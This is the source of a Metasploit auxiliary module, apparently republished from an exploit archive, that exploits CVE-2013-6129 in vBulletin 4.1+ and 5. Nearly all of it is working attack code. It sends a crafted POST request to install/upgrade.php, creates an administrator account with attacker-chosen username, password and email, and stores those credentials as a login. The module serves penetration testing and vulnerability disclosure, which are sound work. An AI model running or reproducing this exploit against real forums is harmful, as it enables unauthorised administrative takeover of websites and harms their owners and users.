This Metasploit module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This Metasploit module has been tested successfully on vBulletin 4.1.5 and 4.1.0.
c24deea47d1ee74b3fe339182867838b53b59f6e667d57d1dedb6d10ded9c962
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'vBulletin Administrator Account Creation',
'Description' => %q{
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
create a new administrator account, as exploited in the wild on October 2013. This module
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
},
'Author' => [
'Unknown', # Vulnerability discoverer? found in the wild
'juan vazquez' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-6129' ],
[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
[ 'OSVDB', '98370' ],
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
],
'DisclosureDate' => '2013-10-09'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
]
)
end
def user
datastore['USERNAME']
end
def pass
datastore['PASSWORD']
end
def run
if user == pass
print_error('Please select a password different than the username')
return
end
print_status('Trying a new admin vBulletin account...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),
'method' => 'POST',
'vars_post' => {
'version' => 'install',
'response' => 'true',
'checktable' => 'false',
'firstrun' => 'false',
'step' => '7',
'startat' => '0',
'only' => 'false',
'options[skiptemplatemerge]' => '0',
'reponse' => 'yes',
'htmlsubmit' => '1',
'htmldata[username]' => user,
'htmldata[password]' => pass,
'htmldata[confirmpassword]' => pass,
'htmldata[email]' => datastore['EMAIL']
},
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
})
if res && (res.code == 200) && res.body =~ (/Administrator account created/)
print_good("Admin account with credentials #{user}:#{pass} successfully created")
connection_details = {
module_fullname: fullname,
username: user,
private_data: pass,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
}.merge(service_details)
create_credential_and_login(connection_details)
else
print_error('Admin account creation failed')
end
end
end